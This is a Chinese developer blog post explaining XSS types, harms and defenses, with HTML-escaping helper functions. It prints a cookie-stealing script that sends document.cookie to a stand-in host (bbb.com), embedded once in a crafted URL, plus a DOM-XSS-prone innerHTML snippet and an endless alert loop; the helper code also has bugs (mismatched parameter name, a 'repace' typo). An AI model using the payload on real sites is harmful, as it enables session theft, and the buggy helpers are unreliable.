Jacky's blog Jacky's blog
首页
  • 编码专题
  • 深入浅出 Vite
  • 深入浅出 babel
  • 快速上手API
  • 深入浅出 react
  • Node

    • code-notebook
  • 状态管理

    • redux
  • 前端工程化

    • Wepack
  • React源码

    • React源码
  • 组件库封装

    • 组件库
  • 开发工具

    • Vscode 插件
  • 项目展示
  • 案例中心 (opens new window)
  • First Project
  • 基础算法题
  • 链表题
  • 动态规划
  • 双指针
  • 递归
  • 数据结构
  • 前端学习计划 (opens new window)
  • 技术随笔
  • 转载文章
  • 包管理工具
  • 前端学习周报
  • VSCode插件
  • Promise 专题
  • 函数技巧
  • React 专题
  • 配置文件

    • TSCONFIG-配置 (opens new window)
    • NGINX-配置 (opens new window)
    • 正则规则查询手册 (opens new window)
    • Lint 配置 (opens new window)
  • 教程

    • GIT-教程
    • NPM SCRIPTS-工作流 (opens new window)
    • DOCKER-教程 (opens new window)
    • LERNA-教程 (opens new window)
    • GIT-常用操作整理 (opens new window)
  • VSCode

    • LAUNCH.JSON (opens new window)
  • 指令

    • NPM 指令 (opens new window)
    • NVM 指令 (opens new window)
    • Nginx 指令 (opens new window)
    • YARN 指令 (opens new window)
    • PNPM 指令 (opens new window)
  • 库

    • FS-EXTRA 库 (opens new window)
    • NODE 库-PATH (opens new window)
  • 永远的神

    • 魔法师卡颂-自顶向下学 React 源码 (opens new window)
    • 全栈潇晨 (opens new window)
    • 博客-程序员山月-Daily (opens new window)
    • 淘系前端:冴羽 (opens new window)
  • 系列文章

    • 《图解HTTP》 (opens new window)
    • 《ES6标准入门》 (opens new window)
    • 《现代JavaScript教程》 (opens new window)
    • 《深入浅出Webpack》 (opens new window)
    • VSCode 插件系列:小茗同学 (opens new window)
    • JEST 教程 (opens new window)
    • 前端精读周刊:各种精读系列 (opens new window)
    • 一文吃透系列 (opens new window)
    • 图解 REACT 原理 (opens new window)
  • 实用网站

    • MDN (opens new window)
    • CAN I USE (opens new window)
    • TYPESCRIPT-ESLint-RULES (opens new window)
    • ESLint-RULES (opens new window)
    • FRONT-END TREND (opens new window)
    • NPM TREND (opens new window)
    • 在线分析 Node 依赖 (opens new window)
    • FIND NPM (opens new window)
    • CODE PEN (opens new window)
    • 印记中文 (opens new window)
    • TOOL.LU (opens new window)
    • 阮一峰-网道 (opens new window)
    • DIGITAL OCEAN (opens new window)
    • DEVDOCS.IO (opens new window)
    • JOI (opens new window)
  • 算法

    • 小浩算法 (opens new window)
    • LABULADONG 的算法小抄 (opens new window)
    • 力扣 SOLUTION (opens new window)
    • HACKER RANK (opens new window)
    • 代码随想录 (opens new window)
  • 博客系列

    • 美团大佬 (opens new window)
    • 蜡笔小伟 (opens new window)
    • 优秀博客1 (opens new window)
    • 优秀博客2-umi (opens new window)
    • 优质博客 (opens new window)
  • CSS

    • CSS-EASING 库 (opens new window)
    • ROUGH.JS (opens new window)
    • CSS 网站收集
    • UNOCSS (opens new window)
  • 前端

    • PROMISE (opens new window)
    • UNDERSCORE.JS (opens new window)
    • study with BGM (opens new window)
    • nginx【B站视频】 (opens new window)
    • 机器学习
    • Js基础
  • 掘金已购课程

    • 前端自动化测试精讲 (opens new window)
    • 深入浅出 Vite (opens new window)
    • 现代 Web 布局 (opens new window)
    • 前端算法与数据结构 (opens new window)
    • 基于 Vite 的 SSG 框架开发实战 (opens new window)
    • SSR 实战:官网开发指南 (opens new window)
    • WebGL 入门与实践 (opens new window)
    • 玩转 CSS 的艺术之美 (opens new window)
    • 前端调试通关秘籍 (opens new window)
    • React 进阶实践指南 (opens new window)
    • TypeScript 全面进阶指南 (opens new window)
    • 前端缓存技术与方案解析 (opens new window)
    • npm scripts 前端工作流 (opens new window)
    • Webpack5 核心原理与应用实践 (opens new window)
  • 购物车

    • 张鑫旭-技术写作指南 (opens new window)
    • 深入剖析 Node.js 底层原理 (opens new window)
    • 前端开发者的现代 C++ 课 (opens new window)
    • 从前端到全栈 (opens new window)
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Jacky Wang

行到水穷处,坐看云起时
首页
  • 编码专题
  • 深入浅出 Vite
  • 深入浅出 babel
  • 快速上手API
  • 深入浅出 react
  • Node

    • code-notebook
  • 状态管理

    • redux
  • 前端工程化

    • Wepack
  • React源码

    • React源码
  • 组件库封装

    • 组件库
  • 开发工具

    • Vscode 插件
  • 项目展示
  • 案例中心 (opens new window)
  • First Project
  • 基础算法题
  • 链表题
  • 动态规划
  • 双指针
  • 递归
  • 数据结构
  • 前端学习计划 (opens new window)
  • 技术随笔
  • 转载文章
  • 包管理工具
  • 前端学习周报
  • VSCode插件
  • Promise 专题
  • 函数技巧
  • React 专题
  • 配置文件

    • TSCONFIG-配置 (opens new window)
    • NGINX-配置 (opens new window)
    • 正则规则查询手册 (opens new window)
    • Lint 配置 (opens new window)
  • 教程

    • GIT-教程
    • NPM SCRIPTS-工作流 (opens new window)
    • DOCKER-教程 (opens new window)
    • LERNA-教程 (opens new window)
    • GIT-常用操作整理 (opens new window)
  • VSCode

    • LAUNCH.JSON (opens new window)
  • 指令

    • NPM 指令 (opens new window)
    • NVM 指令 (opens new window)
    • Nginx 指令 (opens new window)
    • YARN 指令 (opens new window)
    • PNPM 指令 (opens new window)
  • 库

    • FS-EXTRA 库 (opens new window)
    • NODE 库-PATH (opens new window)
  • 永远的神

    • 魔法师卡颂-自顶向下学 React 源码 (opens new window)
    • 全栈潇晨 (opens new window)
    • 博客-程序员山月-Daily (opens new window)
    • 淘系前端:冴羽 (opens new window)
  • 系列文章

    • 《图解HTTP》 (opens new window)
    • 《ES6标准入门》 (opens new window)
    • 《现代JavaScript教程》 (opens new window)
    • 《深入浅出Webpack》 (opens new window)
    • VSCode 插件系列:小茗同学 (opens new window)
    • JEST 教程 (opens new window)
    • 前端精读周刊:各种精读系列 (opens new window)
    • 一文吃透系列 (opens new window)
    • 图解 REACT 原理 (opens new window)
  • 实用网站

    • MDN (opens new window)
    • CAN I USE (opens new window)
    • TYPESCRIPT-ESLint-RULES (opens new window)
    • ESLint-RULES (opens new window)
    • FRONT-END TREND (opens new window)
    • NPM TREND (opens new window)
    • 在线分析 Node 依赖 (opens new window)
    • FIND NPM (opens new window)
    • CODE PEN (opens new window)
    • 印记中文 (opens new window)
    • TOOL.LU (opens new window)
    • 阮一峰-网道 (opens new window)
    • DIGITAL OCEAN (opens new window)
    • DEVDOCS.IO (opens new window)
    • JOI (opens new window)
  • 算法

    • 小浩算法 (opens new window)
    • LABULADONG 的算法小抄 (opens new window)
    • 力扣 SOLUTION (opens new window)
    • HACKER RANK (opens new window)
    • 代码随想录 (opens new window)
  • 博客系列

    • 美团大佬 (opens new window)
    • 蜡笔小伟 (opens new window)
    • 优秀博客1 (opens new window)
    • 优秀博客2-umi (opens new window)
    • 优质博客 (opens new window)
  • CSS

    • CSS-EASING 库 (opens new window)
    • ROUGH.JS (opens new window)
    • CSS 网站收集
    • UNOCSS (opens new window)
  • 前端

    • PROMISE (opens new window)
    • UNDERSCORE.JS (opens new window)
    • study with BGM (opens new window)
    • nginx【B站视频】 (opens new window)
    • 机器学习
    • Js基础
  • 掘金已购课程

    • 前端自动化测试精讲 (opens new window)
    • 深入浅出 Vite (opens new window)
    • 现代 Web 布局 (opens new window)
    • 前端算法与数据结构 (opens new window)
    • 基于 Vite 的 SSG 框架开发实战 (opens new window)
    • SSR 实战:官网开发指南 (opens new window)
    • WebGL 入门与实践 (opens new window)
    • 玩转 CSS 的艺术之美 (opens new window)
    • 前端调试通关秘籍 (opens new window)
    • React 进阶实践指南 (opens new window)
    • TypeScript 全面进阶指南 (opens new window)
    • 前端缓存技术与方案解析 (opens new window)
    • npm scripts 前端工作流 (opens new window)
    • Webpack5 核心原理与应用实践 (opens new window)
  • 购物车

    • 张鑫旭-技术写作指南 (opens new window)
    • 深入剖析 Node.js 底层原理 (opens new window)
    • 前端开发者的现代 C++ 课 (opens new window)
    • 从前端到全栈 (opens new window)
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 技术随笔

    • git教程
    • 前端模块化:CommonJS,AMD,CMD,ES6
    • 如何动态加载本地图片
    • GitHub自动部署脚本
    • React生命周期详解
    • 将父组件的props作为组件的初始state的几种方案
    • webpack基础入门
    • StackOver记录:如何在function中使用redux
    • React中使用onClick时的三种性能优化
    • 思考React状态管理
    • forEach/for..in/of
    • styled-components使用记录
    • 深入理解forEach与forof
    • Node技术架构
    • Redux、Mobx状态管理杂谈
    • JS中的类型检测
    • 如何判断图片是否在可视区域
    • 如何使用图片的懒加载操作
    • JavaScript模块化:从CommonJS到AMD
    • git查看:修改用户名、密码
    • 保持数据Immutable的几种写法
    • 如何实现一个Promise.all
    • resolve(Promise对象)会多出两个微任务
    • todo_基于Mocha的测试驱动开发
    • 浏览器页面渲染机制
    • todo-响应式编程之数据劫持
    • todo-immer库的介绍
    • React-Hooks 基础原理解析
    • JS基本功
    • 函数闭包与this指针
    • 收集 DUMI 配置过程中遇到的问题
    • typescript 类型工具
    • 统一接口的导入导出
    • 网络安全:如何预防 XSS 攻击
      • 0.前言
      • 1. XSS 的定义
      • 2.攻击危害
      • 3.如何防御 XSS 攻击
      • 4.扩展:什么是 HTML 实体?
      • 5.扩展:innerText 与 innerHTML 的区别?
      • 参考博文:
    • 浏览器页面渲染机制【2023】
    • 跨域资源请求
    • 浏览器事件循环机制
    • 如何理解浏览器的 user agent 用户代理的含义?
  • 转载文章

  • Mac相关

  • 前端学习周报

  • 包管理工具

  • 技术随笔
  • 技术随笔
wangjiasheng
2023-01-08
目录

网络安全:如何预防 XSS 攻击

# 0.前言

与前端有关的两个网络安全问题,分别是 XSS 与 CSRF。

正好最近在项目中看到了一个 xss.js 文件,该文件中主要包含 htmlEncode 及 htmlDecode 两个函数。其中的转义方案很巧妙,于是随手记录下来。

# 1. XSS 的定义

全称:XSS(Cross Site Scripting) 跨站脚本攻击。

攻击方式:在用户浏览器上,在渲染 DOM 树时,执行了不可预期的 JS 脚本,从而引发了安全问题。

以下部分见:XSS攻击及防御(简单易懂) (opens new window)

按照攻击路径可分为如下类型:

  1. 反射型 XSS

    数据走向为:浏览器—>后端回显—>浏览器,故称为反射型。

    攻击特性:一次性。

  2. 存储型 XSS

    数据走向为:浏览器—>后端—>数据库—>后端—>浏览器。

    攻击范围:群体攻击,危害性极大。

    典型场景:任何可能插入数据库的地方,如用户注册,评论区、留言板、上传文件的文件名。

  3. DOM 型 XSS

    数据走向为:URL —> 浏览器

    特点:不会经过后端,就是使用页面本地的 js 去执行一段代码。

    典型场景:JSON转换、翻译等工具区。

    <script>
        function test() {
          var str = document.getElementById("text").value;
          document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
        }
    </script>
    /* 翻译显示内容*/
    <div id="t" ></div>
    /* 输入待翻译的文本 */
    <input type="text" id="text" value="" />
    /* 执行翻译 */
    <button id="s" value="write" onclick="test()" />
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

# 2.攻击危害

  1. 盗取 cookie 信息

    如注入:

    <script>window.open(“www.bbb.com?param=”+document.cookie)</script>
    
    1
  2. 影响用户体验

    如:恶意跳转,以及无法关闭的弹窗

    while(true){alert("无法关闭此弹窗!")}
    
    1
  3. 按键记录和钓鱼

  4. 未授权操作

    • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如不适当的投票。
    • 以被攻击者的身份执行一些管理操作。

# 3.如何防御 XSS 攻击

  1. 对用户输入的内容,必须进行 en-code 操作,避免出现 HTML Tag

    HTML 字符进行编码:利用html 特性:利用 innerText 输入,再 innerHTML 输出。

    /* 对 html 元素进行编码 */
    function htmlEncode(test){
      /* 当 text 是对象,且不为 null 时 */  
      if(typeof text=== "object" && text){
        const _text = {};
        for(const key in text){
          _text[key] = htmlEncode(text[key]);
        }
      }
      /* 当 text 是字符串时 */
      /* 构造一个div(可换成任何一个html元素),主要是利用 div.innerText 的属性*/
      const div = document.createElement("div");
      /* 先 div.innerText 设置*/
      div.innerText = text; // 如:<div>123</div>
      return div.innerHTML; // 会自动对 <,> 等字符进行转译,如:'&lt;div&gt;123&lt;/div&gt;'
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16

    HTML 字符进行解码:

    function htmlDecode(text){
      if(!text) return text;
      if(typeof text === "object" && text){
        for(const key in text){
          text[key] = htmlDecode(text[key]);
        }
      }else if(typeof text === "string"){
        // (底层实现)方案一:将编码文本转译为 `HTML Tag`
        // text = text
        //       .replace(/&quot;/g,'""') // 双引号
        //       .replace(/&acute;/g,"''") // 左单引号
        //     	.replace(/&#27;/g, "''") // 右单引号
        //       .replace(/&#60;/g, "`") // 反引号
        //       .replace(/&lt;/g, "<") // 左尖括号
        //       .replace(/&gt;/g, ">") // 右尖括号
        //       .replace(/&middot;/g,".") // 点
        //       .replace(/&amp;/g, "&") // 
        //       .replace(/&iexcl;/g, "?") // 问号
        //       .replace(/&#x7bl;&#xd;&xa;/g,"{") // 左括号
        //       .replace(/&#xd;&#xa;&x7d;/g,"}") // 右括号
        //       .replace(/&#x3a;/g,":") // 冒号
        //       .replace(/&#x5b;/g, "[") // 左方括号
        //       .replace(/&#x5d;/g, "]") // 右方括号
        //       .replace(/\\\\\/g, "\\"); // 反斜杠
        //     text = decodeURIComponent(xss.escapeHtmlEntities(text));
        const div = document.createElement("div");
        text = text.replace(/</g,"&lt;").replace(/>/g,"&gt;");
        div.innerHTML = text; 
        text = div.innerText.repace(/&lt;/g, "<").replace(/&gt;/g,">");
        return text;
      }
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32

    写法:

    const ESCAPED_CHARS = {
      38: '&amp;',
      62: '&gt;',
      60: '&lt;',
      34: '&quot;',
      39: '&#x27',  
    }
    
    const UNSAFE_CHARS_REGEX = /[&><"''"]/g;
    
    export function escape(str){
      return ('' + str).replace(UNSAFE_CHARS_REGEX, match => ESCAPED_CHARS[match.charCodeAt(0)])
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
  2. 如果盗取的 cookie 信息,可以做一层 cookie 防盗,避免直接在 cookie 中泄露用户隐私,例如email、密码等;通过使cookie 和系统 IP 绑定来降低 cookie 泄露后的危险。

  3. 控制请求头:

    对用户向服务器提交的信息进行检查,设置预期提交格式。

    在请求时,编写一个 header(),用于控制 json 数据的头部,如header("Content-type:application/json"))

  4. 尽量采用 POST 而非 GET 作为请求方法。

    主要为了避免反射型 XSS 攻击,有情况是网页的内容就是来源于 URL ,如若此时设计一个超链接地址:http://www.xxx.com?content=<script>window.open(“www.bbb.com?param=”+document.cookie)</script> 。当加载页面时,content 的内容会由后端触发,用户的 cookie 会被发送给 bbb 网站。

# 4.扩展:什么是 HTML 实体?

详细内容,请参见参考博文2。

在 HTML 中<,>,&等有特殊含义(<,>,用于链接签,& 用于转义),不能直接使用。

因此在HTML 中标识一些特殊字符时,可以使用转义字符串 (Escape Sequence),或称为字符实体(Character Entity),有以下原因:

  1. 在 HTML 中使用。
  2. 有些字符在 ASCII 字符集中没有定义,需要使用转义字符串标识。

转义字符串有两种标识方式:

  1. & + # + 实体(Entity) 编号 + ; ,举例:< 会被转义为&lt;
  2. & + # + 实体(Entity) 名称 + ; ,举例:< 会被转义为 &#60;

实用网址:http://tool.c7sky.com/htmlescape/

# 5.扩展:innerText 与 innerHTML 的区别?

在前文中,先 innerText 再 innerHTML 进行 HTML 文本的编码操作,通过先 innerHTML 再 innerText 进行 HTML 文本的解码操作。接下来分析下这个行为:

  1. 编码:

    • div.innerText = "<div>123</div>" 告诉浏览器,此部分内容为文本内容。 浏览器器为了将 <div>123</div> 渲染在页面中,就必须对其中的特殊字符(< | > ) 进行转义。

    • 通过 div.innerHTML 就可以将转义后的文本取出,如:&lt;div&gt;123&lt;/div&gt;

      image-20230108164221833
  2. 解码:

    • 当调用div.innerHTML 时,

      • 当传入的是带HTML 标签的文本时 <span>123<span> ,则在页面只会渲染 123 。
      • 而但当传入的内容本身就是编码后的字符时 &lt;div&gt;123&lt;/div&gt; ,则会渲染 <div>123</div>
    • 此时调用 div.innerText 则可以获取此部分内容。

# 参考博文:

  1. XSS攻击及防御(简单易懂) (opens new window)

  2. HTML字符实体(Character Entities),转义字符串(Escape Sequence) (opens new window)

编辑 (opens new window)
上次更新: 2023/11/05, 21:11:00
统一接口的导入导出
浏览器页面渲染机制【2023】

← 统一接口的导入导出 浏览器页面渲染机制【2023】→

最近更新
01
如何理解浏览器的 user agent 用户代理的含义?
11-05
02
浏览器事件循环机制
10-31
03
浏览器页面渲染机制【2023】
10-15
更多文章>
Theme by Vdoing | Copyright © 2020-2023
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式